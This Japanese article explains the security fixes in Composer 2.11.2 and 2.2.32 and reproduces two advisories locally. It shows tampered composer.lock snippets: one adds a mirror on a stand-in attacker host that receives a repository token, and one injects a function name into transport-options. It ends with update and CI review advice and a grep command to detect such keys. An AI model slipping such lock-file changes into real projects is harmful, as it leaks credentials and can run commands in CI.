Composer 2.11.2で直ったセキュリティ問題|composer.lockの書き換えでコマンド実行やトークン送信が起きる仕組みと、CIで見直すこと

Composer 2.11.2と2.2.32で、composer.lockの書き換えを使う攻撃への対策が入った

PHPの依存パッケージ管理ツールComposerの開発チームが、2026年11月10日にComposer 2.11.2と、長期サポート版(2.2 LTS)の2.2.32を公開しました(2.11.2のリリースノート)。2.11.2の変更点には、セキュリティの修正が7項目並んでいます。このうち3件は、深刻度付きのセキュリティ勧告として公開されました(High 2件、Medium 1件)。

3件のうち2件は、composer.lock(入れるパッケージの版と取得先を記録したファイル)やvendor/composer/installed.json(インストール済みのパッケージを記録したファイル)の中身を書き換えられたときに起きる問題です。勧告は、lockファイルを書き換えるプルリクエストや、CIのキャッシュから戻したlockファイルを例に挙げています。人がlockファイルの変更を見る前にcomposer installを自動で走らせるCIを持つプロジェクトほど、更新を急ぐ必要があります。

この記事では、Docker Hubの公式イメージcomposer:2.11.1とcomposer:2.11.2を、手元に立てた疑似リポジトリにつなぎ、lockファイルを書き換えたときに何が起きるかを比べました。影響を受ける条件、2.11.1と2.11.2の違い、更新とCIで見直すことを順に説明します。

要点

Composer 2を最新の版に上げ、lockファイルの変更を人が確かめる前にCIでcomposer installを走らせない

composer:2.11.1と2.11.2を、同じプロジェクトと疑似リポジトリで比べた結果です。

認証ヘッダー

lockに書いた別ホストのミラーへ、2.11.1はトークンを送った

リポジトリに設定したAuthorizationヘッダーが、別ホストに届きました。2.11.2は送りません。

lockに書いた関数名

2.11.1は、lockに書いた関数名をダウンロードの前に呼び出した

勧告が、任意のコマンドが動くとしている仕組みです。2.11.2はlockのこの値を無視しました。

ほかの変更

リダイレクト先にAuthorizationとCookieを送らず、auth.jsonの認証以外の設定を使わない

X-API-Keyのような独自のヘッダーは、2.11.2でもリダイレクト先に届きました。

更新先

2.3以降は最新の2.x、2.2以前の2.xは2.2.32以降、Composer 1は2へ

引数なしのcomposer self-updateで、2.11.1から2.11.2に上がりました。

Composerの3件の勧告は、影響する版と起きる条件がそれぞれ違う

公開された3件の勧告を、影響する版、起きる条件、深刻度で並べます。どれも、信頼できない入力(第三者が手を加えたlockファイルやリポジトリ)を扱う場合に起きる問題です。

High(CVSS 8.8)

lockの書き換えで任意のコマンドが動く

影響: 2.10.0〜2.11.1。lockやinstalled.jsonのtransport-options(ダウンロード時の通信の設定)に書いた関数名が、ダウンロードの前に呼び出されます。2.2 LTSは影響を受けません。

GHSA-jhfp-4ppm-crmm

High(CVSS 8.8)

細工したzipがパッケージの外へファイルを書く

影響: 1.0〜2.11.1(2.2系は2.2.31まで)。信頼できないリポジトリやミラーのzipを、unzipとPHPのzip拡張がある環境で展開した場合です。Composer 1には修正版がありません。

GHSA-w6hj-6587-3jh5

Medium(CVSS 6.5)

lockに書いたミラーへ認証ヘッダーが送られる

影響: 2.11.0、2.11.1、2.2.31。リポジトリの設定にトークンなどのHTTPヘッダーを直接書いている場合です。

GHSA-x82q-x274-r6pq

2.3から2.9までの系列は、コマンド実行とミラーの勧告の対象外ですが、zipの勧告の対象に入ります。2.10系は、コマンド実行とzipの2件の対象です。

コマンド実行の勧告は、--no-scriptsや--no-pluginsを付けても防げないと書いています。いちばんありそうな経路として挙げているのは、人がlockファイルの差分を見ないまま、CIがブランチをチェックアウトしてcomposer installを走らせる運用です。zipの勧告は、Packagist.orgで公開されている通常のパッケージのzipには、この攻撃に使う形のファイルは含まれないと説明しています。

セキュリティの修正の残り4項目は、別オリジンへのリダイレクトでAuthorizationとCookieを再送しない修正、プロジェクトのauth.json(認証情報を書くファイル)と環境変数COMPOSER_AUTHから認証以外の設定を読まない修正、prevent_ip_access_callableで止めるIPアドレスへの要求が送られたあとで止まっていた問題の修正、同梱のsymfony/filesystemを公開済みの脆弱性(GHSA-6prc-h956-hxjq)を直した版に上げた更新です。

lockに書いた別ホストのミラーへ、2.11.1はリポジトリのトークンを送った

手元では、ホストの127.0.0.1だけで待ち受ける疑似リポジトリ(ポート8781)と、攻撃者のホスト役のサーバー(ポート8782)を立てました。プロジェクトのcomposer.jsonには、HTTPヘッダーにトークンを書く設定を入れています。勧告が、Private PackagistやSatisのようなprivateリポジトリでよく使われるとしている設定です(トークンはダミーです)。

"repositories": [
    {
        "type": "composer",
        "url": "http://host.docker.internal:8781",
        "options": { "http": { "header": ["Authorization: Bearer test-secret-123"] } }
    }
]

抜粋です。手元ではhttpで試すため、configでsecure-httpをfalseにし、Packagist.orgを使わない設定も入れています。

2.11.2で作ったcomposer.lockのパッケージのdist(zipの取得先を書く欄)に、別ホストのミラーを1つ書き足しました。lockファイルを書き換えるプルリクエストを想定した変更です。

"dist": {
    "type": "zip",
    "url": "http://host.docker.internal:8781/dist/hello-1.0.0.zip",
    ...
    "mirrors": [
        {
            "url": "http://host.docker.internal:8782/mirror/%package%/%version%/%reference%.%type%",
            "preferred": true
        }
    ]
}

このlockでcomposer installを実行し、別ホスト役のサーバーに届いた要求を記録しました。

composer:2.11.1

別ホストに「Authorization: Bearer test-secret-123」が届いた

ミラーのzipを取りに行く要求に、リポジトリ用のトークンが付いていました。

composer:2.11.2

同じ要求に、Authorizationは付かなかった

ミラーへの要求は届きましたが、トークンは送られていません。

どちらの版も、ミラー役のサーバーがzipを返したので、インストールは成功しました。2.11.1の出力のダウンロードの行は「Downloading acme/hello (1.0.0)」で、取得先のホストは表示されませんでした。

2.11.2でも、lockに書かれたミラーや取得先のURLからzipを取りに行く動作は変わりません。distのurlだけを別ホストに書き換えたlockでは、2.11.1も2.11.2も、そのホストからzipを取得しました(トークンは両方とも付きませんでした)。更新したあとも、lockファイルの取得先の変化を確かめる意味は残ります。

lockに書いた関数名を、2.11.1はダウンロードの前に呼び出した

コマンド実行の勧告は、lockのtransport-optionsに書いたprevent_url_access_callable(URLへのアクセスを止めるかを判断する関数)を、Composerがそのまま呼び出してしまう問題です。手元では、攻撃のコマンドは作らず、文字列ならtrueを返すだけのPHPの関数is_stringを書いて、lockの値が関数として呼ばれるかを確かめました。

"transport-options": {
    "prevent_url_access_callable": "is_string"
}

2.11.1では、zipをダウンロードする前にこの関数が呼ばれ、URLが文字列なのでtrueが返り、ダウンロードが止まりました。

In CurlDownloader.php line 220:
  Access to "http://host.docker.internal:8781/dist/hello-1.0.0.zip" is blocked.

2.11.2では、関数は呼ばれず、インストールは成功しました。2.11.2のソースでは、lockとinstalled.jsonから読んだtransport-optionsから、関数を指定する2つのオプション(prevent_url_access_callableとprevent_ip_access_callable)を取り除いています。勧告によると、この仕組みで任意のシステムコマンドが動き、そのコマンドはパッケージのチェックサムなどの確認より前に実行されます。

2.11.2では、リダイレクト先とauth.jsonの扱いも変わった

セキュリティの修正のうち、勧告になっていない2つも、同じ疑似リポジトリで確かめました。オリジンは、URLのスキーム、ホスト名、ポートの組です。ここではポートだけが違うサーバーを、別オリジンとして使っています。

2.11.1と2.11.2で比べた2つの確認

  1. リポジトリが別オリジンへ302でリダイレクトする。リポジトリの設定にAuthorizationとCookieのヘッダーを書くと、2.11.1はリダイレクト先にも両方を送りました。2.11.2はリダイレクト先には送らず、リダイレクト元にだけ送りました。X-API-Keyのような独自のヘッダーは、2.11.2でもリダイレクト先に届きました。独自のヘッダーでトークンを送っているリポジトリは、リダイレクト先が信頼できるホストかを確かめます。
  2. プロジェクトのauth.jsonに"secure-http": falseを書く。composer.jsonではsecure-httpを設定していない状態です。2.11.1はauth.jsonの値を使い、httpのリポジトリからcomposer updateできました。2.11.2は警告を出して値を使わず、httpのリポジトリへの接続を拒否しました。

2.11.2が出した警告とエラーは次のとおりです。

Ignoring the "secure-http" config set in /app/auth.json, only authentication settings can be set there.
...
Your configuration does not allow connections to http://host.docker.internal:8781/packages.json.

この修正のプルリクエストによると、これまではプロジェクトのauth.jsonとCOMPOSER_AUTHに書いた設定がcomposer.jsonに重ねて読まれ、allow-pluginsやvendor-dirまで黙って変えられる状態でした(#13208)。2.11.2からは、認証の設定(http-basic、github-oauth、bearerなど)だけを読みます。プロジェクトのauth.jsonに認証以外の設定を書いていた場合は、本当に必要な設定かを確かめてからcomposer.jsonのconfigへ移します。secure-http: falseのように保護を弱める設定は、移さずに済ませる方法(リポジトリをhttpsにするなど)を先に考えます。

なお、composer config secure-httpやcomposer config --listの表示には、2.11.2でもauth.jsonの値がそのまま出ました。実際に使われる値は、updateやinstallの動作と警告で確かめます。環境変数COMPOSER_AUTHに{"process-timeout": 9}を入れた場合は、composer config process-timeoutの表示が、2.11.1では9、2.11.2では警告のあと既定値の300でした。

2.11.2では、接続したまま何も返さないサーバーからのダウンロードを、30秒で打ち切って再試行するようにもなりました。手元では、2.11.2は30秒ごとに4回試して122秒で終わり、2.11.1は150秒たっても待ち続けていました。遅いサーバーを使う場合は、環境変数COMPOSER_HTTP_STALL_TIMEOUTで秒数を変えられます(0で無効)。

更新とCIで確かめる4つのこと

使っている系列ごとに、上げる先が違います。Composer 2の2.3以降(2.11系を含む)を使っている場合は、引数なしのself-updateで最新の安定版に上げます。手元では、2.11.1のコンテナーで実行すると2.11.2に上がりました。

# Composer 2.3 以降を使っている場合
composer self-update
composer --version
# Composer version 2.11.2 2026-11-10 10:09:37(2026年11月15日の実行結果)

2.2 LTSを使い続けている場合は、--2.2を付けます(2.0・2.1系も、この系列か最新の2.xに上げます)。2.2 LTSはPHP 5.3以降で動く系列で、getcomposer.orgのダウンロードページの版情報では、重大なセキュリティ修正だけを2026年12月31日まで受けます。手元では、2.11.2に上げたコンテナーから実行して2.2.32に切り替わりました。

# 2.2 LTS を使い続ける場合だけ
composer self-update --2.2
composer --version
# Composer version 2.2.32 2026-11-10 10:09:19

Composer 1を使っている場合は、zipの勧告の修正版がないので、Composer 2へ移ります。

確認リスト

  1. 手元、CI、本番のcomposer --versionを確かめ、2.3以降は2.11.2以降、2.2以前の2.xは2.2.32以降に上げ、Composer 1はComposer 2へ移る。
  2. CIのDockerイメージのタグ(composer:2.11.1など)や、ワークフローで指定しているComposerの版を直す。
  3. lockファイルが変わるプルリクエストは、ほかのファイルと一緒に変わる場合も含めて、人がlockの差分を確かめてからcomposer installを走らせる。vendor/をCIのキャッシュから戻す場合は、そのキャッシュを誰が書き込めるかも確かめる。
  4. プロジェクトのauth.jsonに認証以外の設定を書いていないかを確かめ、必要なものだけをcomposer.jsonのconfigへ移す。

3つ目の確認では、lockファイルの差分のうち、distとsourceのURL、"mirrors"、"transport-options"が変わっていないかを見ます。今あるlockファイルからキーを探す手がかりとして、次のコマンドが使えます。

grep -n -E '"(mirrors|transport-options)"' \
  composer.lock vendor/composer/installed.json

手元でPackagist.orgの公開パッケージ(psr/log、monolog/monolog、symfony/consoleとその依存)を入れて作ったlockファイルには、どちらのキーもありませんでした。今回書き換えたlockファイルでは、書き足した行が見つかりました。

正規の設定でも、これらのキーが入る場合があります。pathリポジトリ(手元のフォルダーをパッケージとして使う設定)では、正規のlockファイルに"transport-options": {"relative": true}が入りました。また、10月29日に公開された別の勧告によると、2.11.0と2.2.31より前の版は、リポジトリの設定に直接書いたHTTPヘッダー(トークンなど)を、lockファイルのtransport-optionsのheaderとして書き込んでいました(GHSA-fm2w-xgf2-f9fh)。上げたあとも既存のlockファイルには残るので、勧告はcomposer update --lockなどでlockファイルを書き直すよう案内しています。

見つけたときは、そのキーを足したコミットと値を確かめます。グローバル設定など、プロジェクトのcomposer.jsonの外に書いたトークンがlockファイルに入っていて、そのlockファイルを共有していた場合は、勧告に従ってトークンを無効にし、新しいものに替えます。

参考資料

検証環境

  • macOS 27.0.1(Apple Silicon)、Docker 29.5.3(Docker Desktop)
  • Docker Hubの公式イメージ composer:2.11.1・composer:2.11.2(PHP 8.5.12)
  • 検証日: 2026年11月15日

この記事は、AIが調査と下書きを担当し、上記の環境で実際に動かして結果を確かめ、下書きとは別の担当が公開前に本文と出典を確認しています。制作と訂正の方針は編集・訂正方針で公開しています。